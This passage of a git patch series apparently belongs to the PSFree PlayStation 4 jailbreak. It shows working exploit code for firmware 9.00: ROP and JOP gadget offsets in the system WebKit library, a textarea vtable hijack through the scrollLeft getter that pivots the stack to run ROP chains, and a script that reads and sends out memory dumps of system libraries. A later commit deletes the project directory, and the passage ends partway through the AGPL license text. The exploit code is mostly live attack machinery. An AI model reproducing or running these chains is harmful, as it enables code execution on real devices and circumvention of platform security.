qword ptr [rax + 0xb8] +`; +// Since the method of code redirection we used is via redirecting a call to +// jump to our JOP chain, we have the return address of the caller on entry. +// +// ta_jop1 pushed another object (via the call instruction) but we want no +// extra objects between the return address and the rbp that will be pushed by +// jop2 later. So we pop the return address pushed by ta_jop1. +// +// This will make pivoting back easy, just "leave; ret". +const ta_jop2 = ` +pop rsi +jmp qword ptr [rax + 0x1c] +`; +const ta_jop3 = ` +mov rdi, qword ptr [rax + 8] +mov rax, qword ptr [rdi] +jmp qword ptr [rax + 0x30] +`; +// rbp is now pushed, any extra objects pushed by the call instructions can be +// ignored +const jop2 = ` +push rbp +mov rbp, rsp +mov rax, qword ptr [rdi] +call qword ptr [rax + 0x58] +`; +const jop3 = ` +mov rdx, qword ptr [rax + 0x18] +mov rax, qword ptr [rdi] +call qword ptr [rax + 0x10] +`; +const jop4 = ` +push rdx +jmp qword ptr [rax] +`; +const jop5 = 'pop rsp; ret'; + +// the ps4 firmware is compiled to use rbp as a frame pointer +// +// The JOP chain pushed rbp and moved rsp to rbp before the pivot. The chain +// must save rbp (rsp before the pivot) somewhere if it uses it. The chain must +// restore rbp (if needed) before the epilogue. +// +// The epilogue will move rbp to rsp (restore old rsp) and pop rbp (which we +// pushed earlier before the pivot, thus restoring the old rbp). +// +// leave instruction equivalent: +// mov rsp, rbp +// pop rbp +const rop_epilogue = 'leave; ret'; + +const webkit_gadget_offsets = new Map(Object.entries({ + 'pop rax; ret' : 0x0000000000051a12, // `58 c3` + 'pop rbx; ret' : 0x00000000000be5d0, // `5b c3` + 'pop rcx; ret' : 0x00000000000657b7, // `59 c3` + 'pop rdx; ret' : 0x000000000000986c, // `5a c3` + + 'pop rbp; ret' : 0x00000000000000b6, // `5d c3` + 'pop rsi; ret' : 0x000000000001f4d6, // `5e c3` + 'pop rdi; ret' : 0x0000000000319690, // `5f c3` + 'pop rsp; ret' : 0x000000000004e293, // `5c c3` + + 'pop r8; ret' : 0x00000000001a7ef1, // `47 58 c3` + 'pop r9; ret' : 0x0000000000422571, // `47 59 c3` + 'pop r10; ret' : 0x0000000000e9e1d1, // `47 5a c3` + 'pop r11; ret' : 0x00000000012b1d51, // `47 5b c3` + + 'pop r12; ret' : 0x000000000085ec71, // `47 5c c3` + 'pop r13; ret' : 0x00000000001da461, // `47 5d c3` + 'pop r14; ret' : 0x0000000000685d73, // `47 5e c3` + 'pop r15; ret' : 0x00000000006ab3aa, // `47 5f c3` + + 'ret' : 0x0000000000000032, // `c3` + 'leave; ret' : 0x000000000008db5b, // `c9 c3` + + 'mov rax, qword ptr [rax]; ret' : 0x00000000000241cc, // `48 8b 00 c3` + 'mov qword ptr [rdi], rax; ret' : 0x000000000000613b, // `48 89 07 c3` + 'mov dword ptr [rdi], eax; ret' : 0x000000000000613c, // `89 07 c3` + 'mov dword ptr [rax], esi; ret' : 0x00000000005c3482, // `89 30 c3` + + + [jop2] : 0x0000000000683800, + [jop3] : 0x0000000000303906, + [jop4] : 0x00000000028bd332, + [jop5] : 0x000000000004e293, + + [ta_jop1] : 0x00000000004e62a4, + [ta_jop2] : 0x00000000021fce7e, + [ta_jop3] : 0x00000000019becb4, +})); + +const libc_gadget_offsets = new Map(Object.entries({ + 'getcontext' : 0x24f04, + 'setcontext' : 0x29448, +})); + +const libkernel_gadget_offsets = new Map(Object.entries({ + // returns the location of errno + '__error' : 0xCB80, +})); + +export const gadgets = new Map(); + +function get_bases() { + const textarea = document.createElement('textarea'); + const webcore_textarea = mem.addrof(textarea).readp(offset_textarea_impl); + const textarea_vtable = webcore_textarea.readp(0); + const libwebkit_base = find_base(textarea_vtable, true, true); + + const stack_chk_fail_import = + libwebkit_base + .add(offset_wk_stack_chk_fail) + ; + const stack_chk_fail_addr = resolve_import( + stack_chk_fail_import, + true, + true + ); + const libkernel_base = find_base(stack_chk_fail_addr, true, true); + + const memcpy_import = libwebkit_base.add(offset_wk_memcpy); + const memcpy_addr = resolve_import(memcpy_import, true, true); + const libc_base = find_base(memcpy_addr, true, true); + + return [ + libwebkit_base, + libkernel_base, + libc_base, + ]; +} + +export function init_gadget_map(gadget_map, offset_map, base_addr) { + for (const [insn, offset] of offset_map) { + gadget_map.set(insn, base_addr.add(offset)); + } +} + +class Chain900Base extends ChainBase { + constructor() { + super(); + + // for conditional jumps + this._clean_branch_ctx(); + this.flag = new Uint8Array(8); + this.flag_addr = get_view_vector(this.flag); + this.jmp_target = new Uint8Array(0x100); + rw.write64(this.jmp_target, 0x1c, this.get_gadget(jop4)); + rw.write64(this.jmp_target, 0, this.get_gadget(jop5)); + + // for save/restore + this.is_saved = false; + this.is_stale = false; + this.position = 0; + const jmp_buf_size = 0xc8; + this.jmp_buf = new Uint8Array(jmp_buf_size); + this.jmp_buf_p = get_view_vector(this.jmp_buf); + } + + // sequence to pivot back and return + push_end() { + this.push_gadget(rop_epilogue); + } + + check_is_branching() { + if (this.is_branch_ctx) { + throw Error('chain is still branching, end it before running'); + } + } + + push_value(value) { + super.push_value(value); + + if (this.is_branch_ctx) { + this.branch_position += 8; + } + } + + _clean_branch_ctx() { + this.is_branch_ctx = false; + this.branch_position = null; + this.delta_slot = null; + this.rsp_slot = null; + this.rsp_position = null; + } + + clean() { + super.clean(); + this._clean_branch_ctx(); + this.is_saved = false; + this.is_stale = false; + this.position = 0; + } + + push_get_retval() { + this.push_gadget('pop rdi; ret'); + this.push_value(this.retval_addr); + this.push_gadget('mov qword ptr [rdi], rax; ret'); + } + + push_clear_errno() { + this.push_call(this.get_gadget('__error')); + this.push_gadget('pop rsi; ret'); + this.push_value(0); + this.push_gadget('mov dword ptr [rax], esi; ret'); + } + + push_get_errno() { + this.push_gadget('pop rdi; ret'); + this.push_value(this.errno_addr); + + this.push_call(this.get_gadget('__error')); + + this.push_gadget('mov rax, qword ptr [rax]; ret'); + this.push_gadget('mov dword ptr [rdi], eax; ret'); + } + + check_stale() { + if (this.is_stale) { + throw Error('chain already ran, clean it first'); + } + this.is_stale = true; + } + check_is_empty() { + if (this.position === 0) { + throw Error('chain is empty'); + } + } +} + +// Chain for PS4 9.00 +export class Chain900 extends Chain900Base { + constructor() { + super(); + + const textarea = document.createElement('textarea'); + this.textarea = textarea; + const js_ta = mem.addrof(textarea); + const webcore_ta = js_ta.readp(0x18); + this.webcore_ta = webcore_ta; + // Only offset 0x1c8 will be used when calling the scrollLeft getter + // native function (our tests don't crash). + // + // This implies we don't need to know the exact size of the vtable and + // try to copy it as much as possible to avoid a crash due to missing + // vtable entries. + // + // So the rest of the vtable are free for our use. + const vtable = new Uint8Array(0x200); + const old_vtable_p = webcore_ta.readp(0); + this.vtable = vtable; + this.old_vtable_p = old_vtable_p; + + // 0x1b8 is the offset of the scrollLeft getter native function + rw.write64(vtable, 0x1b8, this.get_gadget(ta_jop1)); + rw.write64(vtable, 0xb8, this.get_gadget(ta_jop2)); + rw.write64(vtable, 0x1c, this.get_gadget(ta_jop3)); + + // for the JOP chain + const rax_ptrs = new Uint8Array(0x100); + const rax_ptrs_p = get_view_vector(rax_ptrs); + this.rax_ptrs = rax_ptrs; + + rw.write64(rax_ptrs, 0x30, this.get_gadget(jop2)); + rw.write64(rax_ptrs, 0x58, this.get_gadget(jop3)); + rw.write64(rax_ptrs, 0x10, this.get_gadget(jop4)); + rw.write64(rax_ptrs, 0, this.get_gadget(jop5)); + // value to pivot rsp to + rw.write64(this.rax_ptrs, 0x18, this.stack_addr); + + const jop_buffer = new Uint8Array(8); + const jop_buffer_p = get_view_vector(jop_buffer); + this.jop_buffer = jop_buffer; + + rw.write64(jop_buffer, 0, rax_ptrs_p); + + rw.write64(vtable, 8, jop_buffer_p); + } + + run() { + this.check_stale(); + this.check_is_empty(); + this.check_is_branching(); + + // change vtable + this.webcore_ta.write64(0, get_view_vector(this.vtable)); + // jump to JOP chain + this.textarea.scrollLeft; + // restore vtable + this.webcore_ta.write64(0, this.old_vtable_p); + } +} +export const Chain = Chain900; + +export function init(Chain) { + [libwebkit_base, libkernel_base, libc_base] = get_bases(); + + init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base); + init_gadget_map(gadgets, libc_gadget_offsets, libc_base); + init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base); + init_syscall_array(syscall_array, libkernel_base, 300 * KB); + log('syscall_array:'); + log(syscall_array); + Chain.init_class(gadgets, syscall_array); +} + +log('Chain900'); diff --git a/psfree/send.mjs b/psfree/send.mjs new file mode 100644 index 0000000..508700e --- /dev/null +++ b/psfree/send.mjs @@ -0,0 +1,231 @@ +/* Copyright (C) 2024-2025 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +// script for dumping libSceNKWebKit.sprx, libkernel_web.sprx, and +// libSceLibcInternal.sprx + +// This script is for firmware 8.0x. You need to port this to your firmware if +// you want to use it. It only dumps the .text and PT_SCE_RELRO segments. It +// doesn't dump the entire ELF file. +// +// There's also some miscellaneous functions to dump functions from WebKit that +// were studied during the development of PSFree. + +// libkernel libraries contain syscalls +// syscalls are enforced to be called from these libraries +// +// libkernel_web.sprx is used by the browser in firmwares >= 6.00 +// libkernel.sprx for firmwares below +// +// libkernel_sys.sprx contains syscalls that aren't found in the others, such +// as mount and nmount +// +// the BD-J app uses libkernel_sys.sprx for example + +// Porting HOWTO: +// +// You can only dump the WebKit module (libSceNKWebKit.sprx for FW >= 6.00, +// else libSceWebkit2.sprx) initially via dump_libwebkit() on any firmware. +// We'll use the WebKit dump to search for imported functions from libkernel +// and LibcInternal. Once we resolve the imports, we can use find_base() to get +// the boundaries of these modules. +// +// Most of the work is done for you at dump_lib*(). You just need to find the +// offset of the imported functions relative to WebKit's base address. +// +// import candidates: +// +// __stack_chk_fail() is a good import from libkernel to search for as it's +// easy to find since most functions are protected by a stack canary. +// +// For a LibcInternal import we searched for strlen() but you can search for +// any libc function such as memcpy(). + +import * as config from './config.mjs'; + +import { Int } from './module/int64.mjs'; +import { Addr, mem } from './module/mem.mjs'; +import { make_buffer, find_base, resolve_import } from './module/memtools.mjs'; +import { KB, MB } from './module/offset.mjs'; + +import { + log, + align, + die, + send, +} from './module/utils.mjs'; + +import * as rw from './module/rw.mjs'; +import * as o from './module/offset.mjs'; + +const origin = window.origin; +const port = '8000'; +const url = `${origin}:${port}`; + +const textarea = document.createElement('textarea'); +// JSObject +const js_textarea = mem.addrof(textarea); + +// boundaries of the .text + PT_SCE_RELRO portion of a module +function get_boundaries(leak) { + const lib_base = find_base(leak, true, true); + const lib_end = find_base(leak, false, false); + + return [lib_base, lib_end] +} + +// dump a module's .text and PT_SCE_RELRO segments only +function dump(name, lib_base, lib_end) { + // assumed size < 4GB + const lib_size = lib_end.sub(lib_base).lo; + log(`${name} base: ${lib_base}`); + log(`${name} size: ${lib_size}`); + const lib = make_buffer( + lib_base, + lib_size + ); + send( + url, + lib, + `${name}.sprx.text_${lib_base}.bin`, + () => log(`${name} sent`) + ); +} + +// dump for libSceNKWebKit.sprx +function dump_libwebkit() { + let addr = js_textarea; + // WebCore::HTMLTextAreaElement + addr = addr.readp(0x18); + + // vtable for WebCore::HTMLTextAreaElement + // in PT_SCE_RELRO segment (p_type = 0x6100_0010) + addr = addr.readp(0); + + log(`vtable: ${addr}`); + const vtable = make_buffer(addr, 0x400); + send(url, vtable, `vtable_${addr}.bin`, () => log('vtable sent')); + + const [lib_base, lib_end] = get_boundaries(addr); + dump('libSceNKWebKit', lib_base, lib_end); + + return lib_base; +} + +// dump for libkernel_web.sprx +function dump_libkernel(libwebkit_base) { + const offset = 0x8d8; + const vtable_p = js_textarea.readp(0x18).readp(0); + // __stack_chk_fail + const stack_chk_fail_import = libwebkit_base.add(offset); + + const libkernel_leak = resolve_import(stack_chk_fail_import); + log(`__stack_chk_fail import: ${libkernel_leak}`); + + const [lib_base, lib_end] = get_boundaries(libkernel_leak); + dump('libkernel_web', lib_base, lib_end); +} + +// dump for libSceLibcInternal.sprx +function dump_libc(libwebkit_base) { + const offset = 0x918; + const vtable_p = js_textarea.readp(0x18).readp(0); + // strlen + const strlen_import = libwebkit_base.add(offset); + + const libc_leak = resolve_import(strlen_import); + log(`strlen import: ${libc_leak}`); + + const [lib_base, lib_end] = get_boundaries(libc_leak); + dump('libSceLibcInternal', lib_base, lib_end); +} + +function dump_webkit() { + const libwebkit_base = dump_libwebkit(); + dump_libkernel(libwebkit_base); + dump_libc(libwebkit_base); +} + +// See globalFuncEval() from +// WebKit/Source/JavaScriptCore/runtime/JSGlobalObjectFunctions.cpp at PS4 +// 8.03. +// +// Used to dump the implementation of eval() to figure out the expression +// "execState.argument(0)". +// +// eval()'s native function receives a JSC::ExecState pointer (renamed to +// JSC::CallFrame on webkitgtk 2.34.4). That type has an argument() method +// which takes an index and returns the corresponding JSValue passed to eval(), +// e.g. execState.argument(0) is the first JSValue argument. +// +// execState.argument(0) evaluates to *(&execState + argumentOffset + 0). +// Knowing the argumentOffset is useful for passing data to ROP chains. +// argumentOffset is 0x30 for PS4 8.03. +// +// The PS4 uses the System V ABI. The ExecState pointer is passed to the rdi +// register since it is the first argument. ROP chains can get the JSValue +// passed via *(rdi + 0x30). +// +// For example, the expression "eval(1)" has the JSValue encoding of 1 passed +// to *(rdi + 0x30). +function dump_eval() { + let addr = js_textarea; + // WebCore::HTMLTextAreaElement + addr = addr.readp(0x18); + + // vtable for WebCore::HTMLTextAreaElement + // in PT_SCE_RELRO segment (p_type = 0x6100_0010) + addr = addr.readp(0); + + const libwebkit_base = find_base(addr, true, true); + const impl = mem.addrof(eval).readp(0x18).readp(0x38); + const offset = impl.sub(libwebkit_base); + send( + url, + make_buffer(impl, 0x800), + `eval_dump_offset_${offset}.bin`, + () => log('sent') + ); +} + +// Initially we just used the vtable offset from pOOBs4 (0x1c8) and tested if +// it works. It did but let's add this dumper so we can verify it another way. +// See howto_code_exec.txt about code execution via the vtable of a textarea +// element. +function dump_scrollLeft() { + let proto = Object.getPrototypeOf(textarea); + proto = Object.getPrototypeOf(proto); + proto = Object.getPrototypeOf(proto); + + const scrollLeft_get = + Object.getOwnPropertyDescriptors(proto).scrollLeft.get + ; + + // get the JSCustomGetterSetterFunction + const js_func = mem.addrof(scrollLeft_get); + const getterSetter = js_func.readp(0x28); + const getter = getterSetter.readp(8); + + const libwebkit_base = find_base(getter, true, true); + const offset = getter.sub(libwebkit_base); + send( + url, + make_buffer(getter, 0x800), + `scrollLeft_getter_dump_offset_${offset}.bin`, + () => log('sent') + ); +} From 0040f7511909386b3c6450e0791daeeed5eda563 Mon Sep 17 00:00:00 2001 From: ps3120 <32280131+ps3120@users.noreply.github.com> Date: Fri, 23 May 2025 13:54:44 +0200 Subject: [PATCH 03/11] Delete psfree directory --- psfree/COPYING | 661 -------- psfree/LICENSE | 661 -------- psfree/README.md | 30 - psfree/about.html | 116 -- psfree/alert.mjs | 52 - psfree/cache.html | 23 - psfree/config.mjs | 70 - psfree/fonts/FONTS.LICENSE | 101 -- psfree/fonts/LiberationMono-Regular.ttf | Bin 319624 -> 0 bytes psfree/fonts/README.txt | 3 - psfree/index.html | 48 - psfree/kpatch/900.c | 183 --- psfree/kpatch/900.d | 1 - psfree/kpatch/900.elf | Bin 5224 -> 0 bytes psfree/kpatch/900.o | Bin 1840 -> 0 bytes psfree/kpatch/Makefile | 27 - psfree/kpatch/script.ld | 8 - psfree/kpatch/types.h | 28 - psfree/kpatch/utils.h | 61 - psfree/lapse.mjs | 1844 ----------------------- psfree/module/chain.mjs | 581 ------- psfree/module/constants.mjs | 20 - psfree/module/int64.mjs | 133 -- psfree/module/mem.mjs | 430 ------ psfree/module/memtools.mjs | 255 ---- psfree/module/offset.mjs | 62 - psfree/module/rw.mjs | 140 -- psfree/module/utils.mjs | 172 --- psfree/module/view.mjs | 261 ---- psfree/payload.bin | Bin 262976 -> 0 bytes psfree/payload.js | 6 - psfree/psfree.mjs | 862 ----------- psfree/psfree_lapse.cache | 31 - psfree/rop/900.mjs | 374 ----- psfree/send.mjs | 231 --- 35 files changed, 7475 deletions(-) delete mode 100644 psfree/COPYING delete mode 100644 psfree/LICENSE delete mode 100644 psfree/README.md delete mode 100644 psfree/about.html delete mode 100644 psfree/alert.mjs delete mode 100644 psfree/cache.html delete mode 100644 psfree/config.mjs delete mode 100644 psfree/fonts/FONTS.LICENSE delete mode 100644 psfree/fonts/LiberationMono-Regular.ttf delete mode 100644 psfree/fonts/README.txt delete mode 100644 psfree/index.html delete mode 100644 psfree/kpatch/900.c delete mode 100644 psfree/kpatch/900.d delete mode 100644 psfree/kpatch/900.elf delete mode 100644 psfree/kpatch/900.o delete mode 100644 psfree/kpatch/Makefile delete mode 100644 psfree/kpatch/script.ld delete mode 100644 psfree/kpatch/types.h delete mode 100644 psfree/kpatch/utils.h delete mode 100644 psfree/lapse.mjs delete mode 100644 psfree/module/chain.mjs delete mode 100644 psfree/module/constants.mjs delete mode 100644 psfree/module/int64.mjs delete mode 100644 psfree/module/mem.mjs delete mode 100644 psfree/module/memtools.mjs delete mode 100644 psfree/module/offset.mjs delete mode 100644 psfree/module/rw.mjs delete mode 100644 psfree/module/utils.mjs delete mode 100644 psfree/module/view.mjs delete mode 100644 psfree/payload.bin delete mode 100644 psfree/payload.js delete mode 100644 psfree/psfree.mjs delete mode 100644 psfree/psfree_lapse.cache delete mode 100644 psfree/rop/900.mjs delete mode 100644 psfree/send.mjs diff --git a/psfree/COPYING b/psfree/COPYING deleted file mode 100644 index be3f7b2..0000000 --- a/psfree/COPYING +++ /dev/null @@ -1,661 +0,0 @@ - GNU AFFERO GENERAL PUBLIC LICENSE - Version 3, 19 November 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The GNU Affero General Public License is a free, copyleft license for -software and other kinds of works, specifically designed to ensure -cooperation with the community in the case of network server software. - - The licenses for most software and other practical works are designed -to take away your freedom to share and change the works. By contrast, -our General Public Licenses are intended to guarantee your freedom to -share and change all versions of a program--to make sure it remains free -software for all its users. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -them if you wish), that you receive source code or can get it if you -want it, that you can change the software or use pieces of it in new -free programs, and that you know you can do these things. - - Developers that use our General Public Licenses protect your rights -with two steps: (1) assert copyright on the software, and (2) offer -you this License which gives you legal permission to copy, distribute -and/or modify the software. - - A secondary benefit of defending all users' freedom is that -improvements made in alternate versions of the program, if they -receive widespread use, become available for other developers to -incorporate. Many developers of free software are heartened and -encouraged by the resulting cooperation. However, in the case of -software used on network servers, this result may fail to come about. -The GNU General Public License permits making a modified version and -letting the public access it on a server without ever releasing its -source code to the public. - - The GNU Affero General Public License is designed specifically to -ensure that, in such cases, the modified source code becomes available -to the community. It requires the operator of a network server to -provide the source code of the modified version running there to the -users of that server. Therefore, public use of a modified version, on -a publicly accessible server, gives the public access to the source -code of the modified version. - - An older license, called the Affero General Public License and -published by Affero, was designed to accomplish similar goals. This is -a different license, not a version of the Affero GPL, but Affero has -released a new version of the Affero GPL which permits relicensing under -this license. - - The precise terms and conditions for copying, distribution and -modification follow. - - TERMS AND CONDITIONS - - 0. Definitions. - - "This License" refers to version 3 of the GNU Affero General Public License. - - "Copyright" also means copyright-like laws that apply to other kinds of -works, such as semiconductor masks. - - "The Program" refers to any copyrightable work licensed under this -License. Each licensee is addressed as "you". "Licensees" and -"recipients" may be individuals or organizations. - - To "modify" a work means to copy from or adapt all or part of the work -in a fashion requiring copyright permission, other than the making of an -exact copy. The resulting work is called a "modified version" of the -earlier work or a work "based on" the earlier work. - - A "covered work" means either the unmodified Program or a work based -on the Program. - - To "propagate" a work means to do anything with it that, without -permission, would make you directly or secondarily liable for -infringement under applicable copyright law, except executing it on a -computer or modifying a private copy. Propagation includes copying, -distribution (with or without modification), making available to the -public, and in some countries other activities as well. - - To "convey" a work means any kind of propagation that enables other -parties to make or receive copies. Mere interaction with a user through -a computer network, with no transfer of a copy, is not conveying. - - An interactive user interface displays "Appropriate Legal Notices" -to the extent that it includes a convenient and prominently visible -feature that (1) displays an appropriate copyright notice, and (2) -tells the user that there is no warranty for the work (except to the -extent that warranties are provided), that licensees may convey the -work under this License, and how to view a copy of this License. If -the interface presents a list of user commands or options, such as a -menu, a prominent item in the list meets this criterion. - - 1. Source Code. - - The "source code" for a work means the preferred form of the work -for making modifications to it. "Object code" means any non-source -form of a work. - - A "Standard Interface" means an interface that either is an official -standard defined by a recognized standards body, or, in the case of -interfaces specified for a particular programming language, one that -is widely used among developers working in that language. - - The "System Libraries" of an executable work include anything, other -than the work as a whole, that (a) is included in the normal form of -packaging a Major Component, but which is not part of that Major -Component, and (b) serves only to enable use of the work with that -Major Component, or to implement a Standard Interface for which an -implementation is available to the public in source code form. A -"Major Component", in this context, means a major essential component -(kernel, window system, and so on) of the specific operating system -(if any) on which the executable work runs, or a compiler used to -produce the work, or an object code interpreter used to run it. - - The "Corresponding Source" for a work in object code form means all -the source code needed to generate, install, and (for an executable -work) run the object code and to modify the work, including scripts to -control those activities. However, it does not include the work's -System Libraries, or general-purpose tools or generally available free -programs which are used unmodified in performing those activities but -which are not part of the work. For example, Corresponding Source -includes interface definition files associated with source files for -the work, and the source code for shared libraries and dynamically -linked subprograms that the work is specifically designed to require, -such as by intimate data communication or control flow between those -subprograms and other parts of the work. - - The Corresponding Source need not include anything that users -can regenerate automatically from other parts of the Corresponding -Source. - - The Corresponding Source for a work in source code form is that -same work. - - 2. Basic Permissions. - - All rights granted under this License are granted for the term of -copyright on the Program, and are irrevocable provided the stated -conditions are met. This License explicitly affirms your unlimited -permission to run the unmodified Program. The output from running a -covered work is covered by this License only if the output, given its -content, constitutes a covered work. This License acknowledges your -rights of fair use or other equivalent, as provided by copyright law. - - You may make, run and propagate covered works that you do not -convey, without conditions so long as your license otherwise remains -in force. You may convey covered works to others for the sole purpose -of having them make modifications exclusively for you, or provide you -with facilities for running those works, provided that you comply with -the terms of this License in conveying all material for which you do -not control copyright. Those thus making or running the covered works -for you must do so exclusively on your behalf, under your direction -and control, on terms that prohibit them from making any copies of -your copyrighted material outside their relationship with you. - - Conveying under any other circumstances is permitted solely under -the conditions stated below. Sublicensing is not allowed; section 10 -makes it unnecessary. - - 3. Protecting Users' Legal Rights From Anti-Circumvention Law. - - No covered work shall be deemed part of an effective technological -measure under any applicable law fulfilling obligations under article -11 of the WIPO copyright treaty adopted on 20 December 1996, or -similar laws prohibiting or restricting circumvention of such -measures. - - When you convey a covered work, you waive any legal power to forbid -circumvention of technological measures to the extent such circumvention -is effected by exercising rights under this License with respect to -the covered work, and you disclaim any intention to limit operation or -modification of the work as a means of enforcing, against the work's -users, your or third parties' legal rights to forbid circumvention of -technological measures. - - 4. Conveying Verbatim Copies. - - You may convey verbatim copies of the Program's source code as you -receive it, in any medium, provided that you conspicuously and -appropriately publish on each copy an appropriate copyright notice; -keep intact all notices stating that this License and any -non-permissive terms added in accord with section 7 apply to the code; -keep intact all notices of the absence of any warranty; and give all -recipients a copy of this License along with the Program. - - You may charge any price or no price for each copy that you convey, -and you may offer support or warranty protection for a fee. - - 5. Conveying Modified Source Versions. - - You may convey a work based on the Program, or the modifications to -produce it from the Program, in the form of source code under the -terms of section 4, provided that you also meet all of these conditions: - - a) The work must carry prominent notices stating that you modified - it, and giving a relevant date. - - b) The work must carry prominent notices stating that it is - released under this License and any conditions added under section - 7. This requirement modifies the requirement in section 4 to - "keep intact all notices". - - c) You must license the entire work, as a whole, under this - License to anyone who comes into possession of a copy. This - License will therefore apply, along with any applicable section 7 - additional terms, to the whole of the work, and all its parts, - regardless of how they are packaged. This License gives no - permission to license the work in any other way, but it does not - invalidate such permission if you have separately received it. - - d) If the work has interactive user interfaces, each must display - Appropriate Legal Notices; however, if the Program has interactive - interfaces that do not display Appropriate Legal Notices, your - work need not make them do so. - - A compilation of a covered work with other separate and independent -works, which are not by their nature extensions of the covered work, -and which are not combined with it such as to form a larger program, -in or on a volume of a storage or distribution medium, is called an -"aggregate" if the compilation and its resulting copyright are not -used to limit the access or legal rights of the compilation's users -beyond what the individual works permit. Inclusion of a covered work -in an aggregate does not cause this License to apply to the other -parts of the aggregate. - - 6. Conveying Non-Source Forms. - - You may convey a covered work in object code form under the terms -of sections 4 and 5, provided that you also convey the -machine-readable Corresponding Source under the terms of this License, -in one of these ways: - - a) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by the - Corresponding Source fixed on a durable physical medium - customarily used for software interchange. - - b) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by a - written offer, valid for at least three years and valid for as - long as you offer spare parts or customer support for that product - model, to give anyone who possesses the object code either (1) a - copy of the Corresponding Source for all the software in the - product that is covered by this License, on a durable physical - medium customarily used for software interchange, for a price no - more than your reasonable cost of physically performing this - conveying of source, or (2) access to copy the - Corresponding Source from a network server at no charge. - - c) Convey individual copies of the object code with a copy of the - written offer to provide the Corresponding Source. This - alternative is allowed only occasionally and noncommercially, and - only if you received the object code with such an offer, in accord - with subsection 6b. - - d) Convey the object code by offering access from a designated - place (gratis or for a charge), and offer equivalent access to the - Corresponding Source in the same way through the same place at no - further charge. You need not require recipients to copy the - Corresponding Source along with the object code. If the place to - copy the object code is a network server, the Corresponding Source - may be on a different server (operated by you or a third party) - that supports equivalent copying facilities, provided you maintain - clear directions next to the object code saying where to find the - Corresponding Source. Regardless of what server hosts the - Corresponding Source, you remain obligated to ensure that it is - available for as long as needed to satisfy these requirements. - - e) Convey the object code using peer-to-peer transmission, provided - you inform other peers where the object code and Corresponding - Source of the work are being offered to the general public at no - charge under subsection 6d. - - A separable portion of the object code, whose source code is excluded -from the Corresponding Source as a System Library, need not be -included in conveying the object code work. - - A "User Product" is either (1) a "consumer product", which means any -tangible personal property which is normally used for personal, family, -or household purposes, or (2) anything designed or sold for incorporation -into a dwelling. In determining whether a product is a consumer product, -doubtful cases shall be resolved in favor of coverage. For a particular -product received by a particular user, "normally used" refers to a -typical or common use of that class of product, regardless of the status -of the particular user or of the way in which the particular user -actually uses, or expects or is expected to use, the product. A product -is a consumer product regardless of whether the product has substantial -commercial, industrial or non-consumer uses, unless such uses represent -the only significant mode of use of the product. - - "Installation Information" for a User Product means any methods, -procedures, authorization keys, or other information required to install -and execute modified versions of a covered work in that User Product from -a modified version of its Corresponding Source. The information must -suffice to ensure that the continued functioning of the modified object -code is in no case prevented or interfered with solely because -modification has been made. - - If you convey an object code work under this section in, or with, or -specifically for use in, a User Product, and the conveying occurs as -part of a transaction in which the right of possession and use of the -User Product is transferred to the recipient in perpetuity or for a -fixed term (regardless of how the transaction is characterized), the -Corresponding Source conveyed under this section must be accompanied -by the Installation Information. But this requirement does not apply -if neither you nor any third party retains the ability to install -modified object code on the User Product (for example, the work has -been installed in ROM). - - The requirement to provide Installation Information does not include a -requirement to continue to provide support service, warranty, or updates -for a work that has been modified or installed by the recipient, or for -the User Product in which it has been modified or installed. Access to a -network may be denied when the modification itself materially and -adversely affects the operation of the network or violates the rules and -protocols for communication across the network. - - Corresponding Source conveyed, and Installation Information provided, -in accord with this section must be in a format that is publicly -documented (and with an implementation available to the public in -source code form), and must require no special password or key for -unpacking, reading or copying. - - 7. Additional Terms. - - "Additional permissions" are terms that supplement the terms of this -License by making exceptions from one or more of its conditions. -Additional permissions that are applicable to the entire Program shall -be treated as though they were included in this License, to the extent -that they are valid under applicable law. If additional permissions -apply only to part of the Program, that part may be used separately -under those permissions, but the entire Program remains governed by -this License without regard to the additional permissions. - - When you convey a copy of a covered work, you may at your option -remove any additional permissions from that copy, or from any part of -it. (Additional permissions may be written to require their own -removal in certain cases when you modify the work.) You may place -additional permissions on material, added by you to a covered work, -for which you have or can give appropriate copyright permission. - - Notwithstanding any other provision of this License, for material you -add to a covered work, you may (if authorized by the copyright holders of -that material) supplement the terms of this License with terms: - - a) Disclaiming warranty or limiting liability differently from the - terms of sections 15 and 16 of this License; or - - b) Requiring preservation of specified reasonable legal notices or - author attributions in that material or in the Appropriate Legal - Notices displayed by works containing it; or - - c) Prohibiting misrepresentation of the origin of that material, or - requiring that modified versions of such material be marked in - reasonable ways as different from the original version; or - - d) Limiting the use for publicity purposes of names of licensors or - authors of the material; or - - e) Declining to grant rights under trademark law for use of some - trade names, trademarks, or service marks; or - - f) Requiring indemnification of licensors and authors of that - material by anyone who conveys the material (or modified versions of - it) with contractual assumptions of liability to the recipient, for - any liability that these contractual assumptions directly impose on - those licensors and authors. - - All other non-permissive additional terms are considered "further -restrictions" within the meaning of section 10. If the Program as you -received it, or any part of it, contains a notice stating that it is -governed by this License along with a term that is a further -restriction, you may remove that term. If a license document contains -a further restriction but permits relicensing or conveying under this -License, you may add to a covered work material governed by the terms -of that license document, provided that the further restriction does -not survive such relicensing or conveying. - - If you add terms to a covered work in accord with this section, you -must place, in the relevant source files, a statement of the -additional terms that apply to those files, or a notice indicating -where to find the applicable terms. - - Additional terms, permissive or non-permissive, may be stated in the -form of a separately written license, or stated as exceptions; -the above requirements apply either way. - - 8. Termination. - - You may not propagate or modify a covered work except as expressly -provided under this License. Any attempt otherwise to propagate or -modify it is void, and will automatically terminate your rights under -this License (including any patent licenses granted under the third -paragraph of section 11). - - However, if you cease all violation of this License, then your -license from a particular copyright holder is reinstated (a) -provisionally, unless and until the copyright holder explicitly and -finally terminates your license, and (b) permanently, if the copyright 